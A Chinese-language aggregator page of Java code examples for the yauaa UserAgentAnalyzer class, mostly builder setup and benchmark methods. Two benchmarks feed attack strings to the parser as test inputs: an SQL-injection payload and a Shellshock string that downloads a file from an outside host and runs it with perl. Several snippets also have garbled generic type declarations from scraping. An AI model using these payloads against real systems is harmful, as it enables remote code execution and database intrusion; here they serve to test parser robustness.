本文整理了Java中nl.basjes.parse.useragent.UserAgentAnalyzer
类的一些代码示例,展示了UserAgentAnalyzer
类的具体用法。这些代码示例主要来源于Github
/Stackoverflow
/Maven
等平台,是从一些精选项目中提取出来的代码,具有较强的参考意义,能在一定程度帮忙到你。UserAgentAnalyzer
类的具体详情如下:
包路径:nl.basjes.parse.useragent.UserAgentAnalyzer
类名称:UserAgentAnalyzer
UserAgentAnalyzer介绍
暂无
代码示例
代码示例来源:origin: nielsbasjes/yauaa
@Benchmark
public UserAgent android6Chrome46(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (Linux; Android 6.0; Nexus 6 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) " +
"Chrome/46.0.2490.76 Mobile Safari/537.36");
}
代码示例来源:origin: nielsbasjes/yauaa
private static synchronized void constructAnalyzer(){
if (userAgentAnalyzer == null) {
userAgentAnalyzer = UserAgentAnalyzer
.newBuilder()
.hideMatcherLoadStats()
.delayInitialization()
.build();
fieldNames = userAgentAnalyzer.getAllPossibleFieldNamesSorted();
}
}
代码示例来源:origin: nielsbasjes/yauaa
public static UserAgentAnalyzerDirectBuilder extends UserAgentAnalyzer, ? extends UserAgentAnalyzerDirectBuilder, ?>> newBuilder() {
return new UserAgentAnalyzerDirectBuilder<>(new UserAgentAnalyzer());
}
代码示例来源:origin: nielsbasjes/yauaa
public ThreadState() {
uaa = UserAgentAnalyzer.newBuilder()
.withoutCache()
.hideMatcherLoadStats()
.build();
uaa.parse((String)null);
}
}
代码示例来源:origin: nl.basjes.parse.useragent/yauaa-logparser
private UserAgentAnalyzerBuilder, ?> getUserAgentAnalyzerBuilder() {
if (userAgentAnalyzerBuilder == null) {
userAgentAnalyzerBuilder = UserAgentAnalyzer
.newBuilder()
.delayInitialization()
.dropTests()
.hideMatcherLoadStats();
}
return userAgentAnalyzerBuilder;
}
代码示例来源:origin: nielsbasjes/yauaa
public void setup() {
uaa = nl.basjes.parse.useragent.drill.UserAgentAnalyzerPreLoader.getInstance();
allFields = uaa.getAllPossibleFieldNamesSorted();
}
代码示例来源:origin: nielsbasjes/yauaa
private UserAgentAnalyzerBuilder, ?> getUserAgentAnalyzerBuilder() {
if (userAgentAnalyzerBuilder == null) {
userAgentAnalyzerBuilder = UserAgentAnalyzer
.newBuilder()
.delayInitialization()
.dropTests()
.hideMatcherLoadStats();
}
return userAgentAnalyzerBuilder;
}
代码示例来源:origin: nielsbasjes/yauaa
public void setup() {
uaa = nl.basjes.parse.useragent.drill.UserAgentAnalyzerPreLoader.getInstance();
allFields = uaa.getAllPossibleFieldNamesSorted();
}
代码示例来源:origin: nielsbasjes/yauaa
@Benchmark
public UserAgent hackerSQL(ThreadState state) {
return state.uaa.parse("-8434))) OR 9695 IN ((CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT " +
"(CASE WHEN (9695=9695) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(118)+CHAR(113))) AND (((4283=4283");
}
代码示例来源:origin: nielsbasjes/yauaa
public static synchronized UserAgentAnalyzer getInstance() {
if (instance == null) {
instance = UserAgentAnalyzer.newBuilder().dropTests().hideMatcherLoadStats().build();
// Bootstrap the engine only once.
instance.getAllPossibleFieldNamesSorted();
}
return instance;
}
代码示例来源:origin: nielsbasjes/yauaa
.newBuilder()
.hideMatcherLoadStats()
.withCache(cacheSize)
代码示例来源:origin: nielsbasjes/yauaa
public static UserAgentAnalyzerBuilder extends UserAgentAnalyzer, ? extends UserAgentAnalyzerBuilder, ?>> newBuilder() {
return new UserAgentAnalyzerBuilder<>(new UserAgentAnalyzer());
}
代码示例来源:origin: nielsbasjes/yauaa
@Benchmark
public UserAgent iPhone(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) " +
"Version/9.0 Mobile/13F69 Safari/601.1");
}
代码示例来源:origin: nielsbasjes/yauaa
@Override
public List getPossibleOutput() {
List result = new ArrayList<>();
// First the standard fields in the standard order, then the non-standard fields alphabetically
final UserAgentAnalyzerBuilder, ?> builder = UserAgentAnalyzer.newBuilder();
extraResources.forEach(builder::addResources);
allPossibleFieldNames = builder.build().getAllPossibleFieldNamesSorted();
for (String fieldName : allPossibleFieldNames) {
ensureMappingsExistForFieldName(fieldName);
result.add(getFieldOutputType(fieldName) + ":" + fieldNameToDissectionName(fieldName));
}
return result;
}
代码示例来源:origin: nielsbasjes/yauaa
@Override
public void open(FunctionContext context) {
userAgentAnalyzer = UserAgentAnalyzer
.newBuilder()
.withFields(extractedFields)
.withCache(cacheSize)
.immediateInitialization()
.build();
}
代码示例来源:origin: nielsbasjes/yauaa
@Benchmark
public UserAgent hackerShellShock(ThreadState state) {
return state.uaa.parse("() { :;}; /bin/bash -c \\\"\"wget -O /tmp/bbb ons.myftp.org/bot.txt; perl /tmp/bbb\\\"\"");
}
代码示例来源:origin: nl.basjes.parse.useragent/yauaa-logparser
@Override
public List getPossibleOutput() {
List result = new ArrayList<>();
// First the standard fields in the standard order, then the non-standard fields alphabetically
final UserAgentAnalyzerBuilder, ?> builder = UserAgentAnalyzer.newBuilder();
extraResources.forEach(builder::addResources);
allPossibleFieldNames = builder.build().getAllPossibleFieldNamesSorted();
for (String fieldName : allPossibleFieldNames) {
ensureMappingsExistForFieldName(fieldName);
result.add(getFieldOutputType(fieldName) + ":" + fieldNameToDissectionName(fieldName));
}
return result;
}
代码示例来源:origin: nielsbasjes/yauaa
@OnScheduled
public void onSchedule(ProcessContext context) {
if (uaa == null) {
UserAgentAnalyzerBuilder extends UserAgentAnalyzer, ? extends UserAgentAnalyzerBuilder> builder =
UserAgentAnalyzer
.newBuilder()
.hideMatcherLoadStats()
.dropTests();
extractFieldNames.clear();
for (PropertyDescriptor propertyDescriptor: supportedPropertyDescriptors) {
if (context.getProperty(propertyDescriptor).asBoolean()) {
String name = propertyDescriptor.getName();
if (name.startsWith(PROPERTY_PREFIX)) { // Should always pass
String fieldName = name.substring(PROPERTY_PREFIX.length());
builder.withField(fieldName);
extractFieldNames.add(fieldName);
}
}
}
uaa = builder.build();
}
}
代码示例来源:origin: nielsbasjes/yauaa
@Benchmark
public UserAgent googleBotMobileAndroid(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) " +
"Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
}
代码示例来源:origin: nielsbasjes/yauaa
private void initialize() {
if (!initialized) {
UserAgentAnalyzerBuilder analyzerBuilder = UserAgentAnalyzer
.newBuilder()
.hideMatcherLoadStats()
.delayInitialization();
if (cacheSize >= 0) {
analyzerBuilder.withCache(cacheSize);
}
if (!requestedFields.isEmpty()) {
for (String requestedField : requestedFields) {
analyzerBuilder.withField(requestedField);
}
}
analyzer = analyzerBuilder.build();
if (requestedFields.isEmpty()) {
requestedFields.addAll(analyzer.getAllPossibleFieldNamesSorted());
}
initialized = true;
}
}